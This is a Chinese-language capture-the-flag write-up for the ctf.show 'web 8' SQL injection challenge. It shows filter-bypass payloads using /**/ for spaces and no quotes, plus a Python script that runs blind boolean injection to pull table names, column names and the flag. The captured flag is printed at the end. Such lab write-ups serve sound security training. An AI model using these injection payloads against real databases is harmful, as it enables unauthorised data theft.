欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ctf.show web 8 sql注入过滤了‘

程序员文章站 2022-05-15 09:55:11
...

ctf.show web 8 sql注入过滤了’
开始的页面
ctf.show web 8 sql注入过滤了‘提示是sql注入,第一步先试下 ’ or 1=1# 提示sql注入错误
ctf.show web 8 sql注入过滤了‘第二步试下/**/替代空格,还是错误
ctf.show web 8 sql注入过滤了‘第三步,去掉’单引号,成功,说明过滤了单引号
ctf.show web 8 sql注入过滤了‘查看有多少字段,1/**/or/**/1=1/**/union/**/select/**/1,2,3#,但是这里又提示sql错误,这里可能过滤了select和union关键字
ctf.show web 8 sql注入过滤了‘上脚本,这的脚本是网上找的

import requests
s=requests.session()
url='http://1a52462e-b3aa-4f50-8445-0792a199259e.chall.ctf.show/index.php'
table=""

"""
' and ascii(substr((select database()),1,1))=xx #
这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样

' and ascii(substr((select database())from 1 for 1))=xx #
这应该是substring函数的两种用法
"""

for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

web 7和web 8 都可以用这个脚本跑
ctf.show web 8 sql注入过滤了‘
flag{7654e468-0cb0-4663-84d1-ba75f1cf28dd}